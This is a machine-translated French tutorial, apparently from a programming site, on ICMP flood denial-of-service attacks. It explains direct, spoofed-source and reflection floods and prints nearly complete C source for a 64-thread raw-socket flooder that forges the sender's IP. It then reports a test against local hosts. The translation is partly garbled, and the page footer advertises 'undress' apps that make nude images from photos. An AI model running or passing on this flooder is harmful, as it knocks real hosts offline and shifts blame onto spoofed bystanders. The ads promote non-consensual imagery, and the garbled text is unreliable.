


Linux - Introduction d'une instance d'attaque par inondation ICMP
Cet article présente principalement les informations pertinentes sur l'attaque par inondation ICMP sur Linuxprogrammation en détail. Il a une certaine valeur de référence. Les amis intéressés peuvent se référer à
moi dans l'article précédent « Implémentation ». de PING dans la programmation Linux", le protocole ICMP a été utilisé pour implémenter le programme PING. En plus de l'implémentation d'un tel programme PING, quelles autres utilisations inconnues ou intéressantes ICMP a-t-il ? Ici, je vais présenter une autre technologie noire bien connue d'ICMP : l'attaque par inondation ICMP.
L'attaque par inondation ICMP est un type de la célèbre attaque DOS (Denial of Service), qui est une méthode d'attaque préférée des pirates informatiques. Dans le but d'approfondir ma compréhension d'ICMP, j'essaie également de le faire. écrire une applet d'attaque par inondation ICMP basée sur ICMP.
L'ATTAQUE D'INONDATION fait référence à l'utilisation de la technologie des réseaux informatiques pour envoyer un grand nombre de paquets de données inutiles à l'hôte de destination, rendant l'hôte de destination occupé à traiter des paquets de données inutiles et incapable de fournir des services normauxComportement.
Attaque par inondation ICMP : comme son nom l'indique, elle envoie un flot de paquets ping à l'hôte de destination, ce qui rend l'hôte de destination occupé à traiter les paquets ping et incapable de traiter d'autres requêtes normales. inondation de paquets ping. L'hôte de destination a été inondé.
Pour mettre en œuvre une attaque par inondation ICMP, les trois réserves de connaissances suivantes sont requises :
Principes d'attaque DOS
Compréhension approfondie d'ICMP
Compétences en programmation de socket brutes
Principe d'attaque par inondation ICMP
Les attaques par inondation ICMP sont formées sur la base du ping, mais le programme ping provoque rarement des problèmes et des temps d'arrêt, car la vitesse à laquelle le ping envoie les paquets est trop lente, comme dans le programme PING I. mis en œuvre, le débit d'envoi des paquets ping est limité à 1 paquet par seconde. Ce débit est largement suffisant pour que l'hôte de destination traite les paquets ping. Ainsi, pour provoquer un phénomène « d'inondation », il faut augmenter le taux d'émission des contrats. Voici trois méthodes d'attaque par inondation ICMP :
(1) Attaque par inondation directe
Cela nécessite une compétition entre la bande passante de l'hôte local et la bande passante de la destination hôte. , par exemple, la bande passante de mon réseau hôte est de 30 Mo et la bande passante de votre réseau hôte n'est que de 3 Mo, alors le taux de réussite de mon lancement d'une attaque par inondation pour submerger votre hôte est très élevé. Cette méthode d'attaque nécessite que la puissance de traitement et la bande passante de l'hôte attaquant soient supérieures à celles de l'hôte attaqué, sinon ce sera DoSed. Sur la base de cette idée, nous pouvons utiliser un ordinateur à large bande passante et hautes performances pour envoyer plusieurs messages de requête ICMP à la fois en utilisant une méthode multithread, de sorte que l'hôte de destination soit occupé à traiter un grand nombre de ces messages, ce qui ralentit vitesse ou même les temps d'arrêt. Cette méthode présente un gros inconvénient, c'est-à-dire que l'autre partie peut bloquer la source de l'attaque en fonction de l'adresse IP du paquet ICMP, de sorte que l'attaque ne puisse pas continuer.
(2) Fausse attaque IP
Sur la base de l'attaque directe par inondation, nous déguisons l'adresse IP de l'expéditeur en une autre IP si elle est déguisée en adresse IP aléatoire, vous pouvez très bien masquer votre emplacement ; si vous déguisez votre adresse IP en celle d'autres victimes, cela provoquera une situation de "discorde attisant", et les paquets de réponse icmp de l'hôte de la victime 1 seront également envoyés comme un flot à l'hôte de la victime. 2, si l'administrateur de l'hôte 1 veut savoir quel salaud a envoyé le paquet pour l'attaquer, il vérifie l'adresse source du paquet ICMP, et il s'avère qu'il s'agit de l'hôte 2. De cette façon, l'hôte 2 devient le bouc émissaire.
(3) Attaque par réflexion
L'idée de ce type d'attaque est différente des deux attaques ci-dessus, et la conception de l'attaque par réflexion est plus intelligente. En fait, le mode d'attaque du troisième mode est ici la version fusionnée et améliorée des deux premiers modes. La stratégie d'attaque du troisième mode s'apparente un peu à « tuer avec un couteau emprunté ». L'attaque par réflexion ne cible plus directement le personnage. l'hôte cible, mais amène un groupe d'autres hôtes à le prendre pour l'hôte cible. Après leur avoir envoyé des paquets de requête ICMP, un groupe d'hôtes envoie ensuite des paquets de réponse ICMP à l'hôte de destination, provoquant une inondation de toutes les directions pour inonder l'hôte de destination. . Par exemple, nous envoyons des paquets de requête ICMP à d'autres hôtes sur le réseau local, puis déguisons notre propre adresse IP en adresse IP de l'hôte de destination. De cette manière, l'hôte de sous-destination devient le centre de l'écho ICMP. Cette attaque est très subtile car il est difficile pour l'hôte victime de savoir qui est à l'origine de l'attaque.
2. Conception du programme d'attaque par inondation ICMP
Ici, je veux implémenter un exemple d'attaque par inondation ICMP Ici. Je souhaite utiliser la deuxième méthode pour concevoir. Bien que la troisième méthode consistant à « tuer quelqu'un avec un couteau emprunté » soit plus intelligente, il s'agit en fait d'une extension supplémentaire de la méthode de déguisement de la deuxième méthode, et la mise en œuvre est similaire.
Donnez d'abord le modèle de l'attaquePhoto :
1.
L'assemblage de paquets ici n'est pas très différent de l'assemblage de paquets lors de l'écriture du programme PING. La seule chose à noter est que nous devons remplir la partie en-tête IP car nous voulons masquer l'adresse source et la mettre. la faute sur les autres.
void DoS_icmp_pack(char* packet) { struct ip* ip_hdr = (struct ip*)packet; struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip)); ip_hdr->ip_v = 4; ip_hdr->ip_hl = 5; ip_hdr->ip_tos = 0; ip_hdr->ip_len = htons(ICMP_PACKET_SIZE); ip_hdr->ip_id = htons(getpid()); ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 64; ip_hdr->ip_p = PROTO_ICMP; ip_hdr->ip_sum = 0; ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址 ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址 icmp_hdr->icmp_type = ICMP_ECHO; icmp_hdr->icmp_code = 0; icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8)); //注意这里,因为数据部分为0,我们就简化了一下checksum的计算了 }
2. Créez un fil de discussion d'envoi
void Dos_Attack() { char* packet = (char*)malloc(ICMP_PACKET_SIZE); memset(packet, 0, ICMP_PACKET_SIZE); struct sockaddr_in to; DoS_icmp_pack(packet); to.sin_family = AF_INET; to.sin_addr.s_addr = dest; to.sin_port = htons(0); while(alive) //控制发包的全局变量 { sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr)); } free(packet); //记得要释放内存 }
3. Écrivez le commutateur d'envoi de paquets
Le commutateur ici est très simple et peut être implémenté avec des sémaphores + des variables globales. . Lorsque nous appuyons sur ctrl+c, l’attaque sera fermée.
void Dos_Sig() { alive = 0; printf("stop DoS Attack!\n"); }
4. Globalement Architecture
Nous avons utilisé 64 threads pour envoyer des paquets ensemble. Bien entendu, le nombre de threads peut être considérablement augmenté pour augmenter l'intensité de l'attaque. Mais nous ne faisons que des expériences, il n’est pas nécessaire d’en faire autant.
int main(int argc, char* argv[]) { struct hostent* host = NULL; struct protoent* protocol = NULL; int i; alive = 1; pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包 int err = 0; if(argc < 2) { printf("Invalid input!\n"); return -1; } signal(SIGINT, Dos_Sig); protocol = getprotobyname(PROTO_NAME); if(protocol == NULL) { printf("Fail to getprotobyname!\n"); return -1; } PROTO_ICMP = protocol->p_proto; dest = inet_addr(argv[1]); if(dest == INADDR_NONE) { host = gethostbyname(argv[1]); if(host == NULL) { printf("Invalid IP or Domain name!\n"); return -1; } memcpy((char*)&dest, host->h_addr, host->h_length); } rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP); if(rawsock < 0) { printf("Fait to create socket!\n"); return -1; } setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1")); printf("ICMP FLOOD ATTACK START\n"); for(i=0;i<THREAD_MAX_NUM;i++) { err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL); if(err) { printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]); } } for(i=0;i<THREAD_MAX_NUM;i++) { pthread_join(attack_thread[i], NULL); //等待线程结束 } printf("ICMP ATTACK FINISHI!\n"); close(rawsock); return 0; }
3. Expérience
Cette expérience a pour but d'apprendre et je le ferais. J'aime utiliser J'ai l'appareil en main et je souhaite mieux comprendre l'application du réseau et des protocoles, la portée de l'attaque est donc relativement petite et ne dure que quelques secondes, sans affecter aucun appareil.
Parlons à nouveau de nos étapes d'attaque : nous utilisons l'hôte 172.0.5.183 comme notre propre hôte d'attaque, nous nous déguisons en hôte 172.0.5.182 et lançons une attaque par inondation ICMP sur l'hôte 172.0.5.9.
L'attaque commence
Observons la situation du côté des « victimes ». En seulement 5 secondes, plus de 70 000 paquets ont été correctement reçus et transmis à la couche supérieure pour traitement. Je n'ose pas en faire trop pour ne pas nuire au fonctionnement de la machine.
Utilisez Wireshark pour capturer les paquets et jetez un autre coup d'œil. Ils sont pleins de paquets ICMP, qui semblent assez volumineux. L'adresse source du paquet ICMP est indiquée comme 172.0.5.182 (notre adresse usurpée), et elle renvoie également une réponse d'écho à 172.0.5.182. L'hôte 172.0.5.182 pensera certainement qu'il est inexplicable pourquoi il a reçu autant de paquets de réponse d'écho.
L'expérience d'attaque est terminée.
Ce qui est plus populaire maintenant, c'est l'attaque DDOS, qui est plus puissante, possède des stratégies plus sophistiquées et est plus difficile à défendre.
En fait, cette attaque DDoS est également lancée sur la base du DOS. Les étapes spécifiques sont les suivantes :
1. L'attaquant diffuse un message de demande d'écho au "réseau d'amplification" <.> 2. L'attaquant spécifie l'IP source du message diffusé comme étant l'hôte attaqué
3. "Agrandissez le réseau" et répondez en écho à l'hôte attaqué
4. Formez un scénario d'attaque DDoS
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

Video Face Swap
Échangez les visages dans n'importe quelle vidéo sans effort grâce à notre outil d'échange de visage AI entièrement gratuit !

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Les utilisateurs ont peut-être vu le terme wapi lorsqu'ils utilisent Internet, mais pour certaines personnes, ils ne savent certainement pas ce qu'est wapi. Ce qui suit est une introduction détaillée pour aider ceux qui ne le savent pas à comprendre. Qu'est-ce que wapi : Réponse : wapi est l'infrastructure pour l'authentification et la confidentialité du réseau local sans fil. C'est le cas des fonctions telles que l'infrarouge et le Bluetooth, qui sont généralement couvertes à proximité de lieux tels que les immeubles de bureaux. Fondamentalement, ils appartiennent à un petit département, la portée de cette fonction n'est donc que de quelques kilomètres. Introduction connexe à Wapi : 1. Wapi est un protocole de transmission dans un réseau local sans fil. 2. Cette technologie peut éviter les problèmes de communication à bande étroite et permettre une meilleure communication. 3. Un seul code est nécessaire pour transmettre le signal.

Pubg, également connu sous le nom de PlayerUnknown's Battlegrounds, est un jeu de tir Battle Royale très classique qui a attiré beaucoup de joueurs depuis sa popularité en 2016. Après le récent lancement du système win11, de nombreux joueurs souhaitent y jouer sur win11. Suivons l'éditeur pour voir si win11 peut jouer à pubg. Win11 peut-il jouer à Pubg ? Réponse : Win11 peut jouer à Pubg. 1. Lorsque Win11 a été lancé pour la première fois, de nombreux joueurs ont été bannis de Pubg car Win11 devait activer TPM. 2. Cependant, sur la base des commentaires des joueurs, Blue Hole a résolu ce problème et vous pouvez désormais jouer à Pubg normalement dans Win11. 3. Si vous rencontrez un pub

Introduction aux fonctions Python : Introduction et exemples de fonction exec Introduction : En Python, exec est une fonction intégrée utilisée pour exécuter du code Python stocké dans une chaîne ou un fichier. La fonction exec fournit un moyen d'exécuter dynamiquement du code, permettant au programme de générer, modifier et exécuter du code selon les besoins pendant l'exécution. Cet article explique comment utiliser la fonction exec et donne quelques exemples de code pratiques. Comment utiliser la fonction exec : La syntaxe de base de la fonction exec est la suivante : exec

i5 est une série de processeurs appartenant à Intel. Il existe différentes versions du i5 de 11e génération, et chaque génération a des performances différentes. Par conséquent, la possibilité pour le processeur i5 d'installer Win11 dépend de la génération du processeur dont il s'agit. Suivons l'éditeur pour en savoir plus séparément. Le processeur i5 peut-il être installé avec win11 : Réponse : le processeur i5 peut être installé avec win11. 1. Les processeurs i51 de huitième génération et suivants, i5 de huitième génération et suivants peuvent répondre aux exigences de configuration minimales de Microsoft. 2. Par conséquent, il nous suffit d'accéder au site Web de Microsoft et de télécharger un "Assistant d'installation Win11". 3. Une fois le téléchargement terminé, exécutez l'assistant d'installation et suivez les invites pour installer Win11. 2. i51 avant la huitième génération et après la huitième génération

Après la mise à jour vers la dernière version de Win11, de nombreux utilisateurs constatent que le son de leur système a légèrement changé, mais ils ne savent pas comment le régler. Aujourd'hui, ce site vous présente une introduction à la dernière méthode de réglage du son Win11 pour votre ordinateur. Ce n'est pas difficile à utiliser. Et les choix sont variés, venez les télécharger et les essayer. Comment régler le son du dernier système informatique Windows 11 1. Tout d'abord, cliquez avec le bouton droit sur l'icône du son dans le coin inférieur droit du bureau et sélectionnez « Paramètres de lecture ». 2. Entrez ensuite les paramètres et cliquez sur « Haut-parleur » dans la barre de lecture. 3. Cliquez ensuite sur « Propriétés » en bas à droite. 4. Cliquez sur la barre d'options "Améliorer" dans les propriétés. 5. A ce moment, si le √ devant « Désactiver tous les effets sonores » est coché, annulez-le. 6. Après cela, vous pouvez sélectionner les effets sonores ci-dessous à définir et cliquer sur

PyCharm est un puissant environnement de développement intégré Python doté de fonctions et d'outils riches qui peuvent considérablement améliorer l'efficacité du développement. Parmi elles, la fonction de remplacement est l'une des fonctions fréquemment utilisées dans le processus de développement, qui peut aider les développeurs à modifier rapidement le code et à améliorer la qualité du code. Cet article présentera en détail la fonction de remplacement de PyCharm, combinée à des exemples de code spécifiques, pour aider les novices à mieux maîtriser et utiliser cette fonction. Introduction à la fonction de remplacement La fonction de remplacement de PyCharm peut aider les développeurs à remplacer rapidement le texte spécifié dans le code

De nombreux utilisateurs ont des pilotes d'imprimante installés sur leur ordinateur mais ne savent pas comment les trouver. Par conséquent, aujourd'hui, je vous propose une introduction détaillée à l'emplacement du pilote d'imprimante dans l'ordinateur. Pour ceux qui ne le savent pas encore, voyons où trouver le pilote d'imprimante lors de la réécriture du contenu sans modifier la signification originale. vous devez La langue est réécrite en chinois et la phrase originale n'a pas besoin d'apparaître. Tout d'abord, il est recommandé d'utiliser un logiciel tiers pour rechercher 2. Recherchez « Boîte à outils » dans le coin supérieur droit. cliquez sur "Gestionnaire de périphériques" ci-dessous. Phrase réécrite : 3. Recherchez et cliquez sur "Gestionnaire de périphériques" en bas. 4. Ensuite, ouvrez "File d'attente d'impression" et recherchez votre imprimante. Cette fois, il s'agit du nom et du modèle de votre imprimante. 5. Cliquez avec le bouton droit sur le périphérique d'impression et vous pouvez le mettre à jour ou le désinstaller.

Dogecoin est une crypto-monnaie créée sur la base de mèmes Internet, sans plafond d'approvisionnement fixe, avec des délais de transaction rapides, des frais de transaction faibles et une grande communauté de mèmes. Les utilisations incluent les petites transactions, les pourboires et les dons de bienfaisance. Cependant, son offre illimitée, la volatilité du marché et son statut de pièce de monnaie farfelue comportent également des risques et des inquiétudes. Qu’est-ce que Dogecoin ? Dogecoin est une crypto-monnaie créée à partir de mèmes et de blagues Internet. Origine et histoire : Dogecoin a été créé en décembre 2013 par deux ingénieurs logiciels, Billy Markus et Jackson Palmer. Inspiré du mème alors populaire « Doge », une photo comique représentant un Shiba Inu avec un anglais approximatif. Caractéristiques et avantages : Offre illimitée : contrairement à d’autres crypto-monnaies telles que Bitcoin
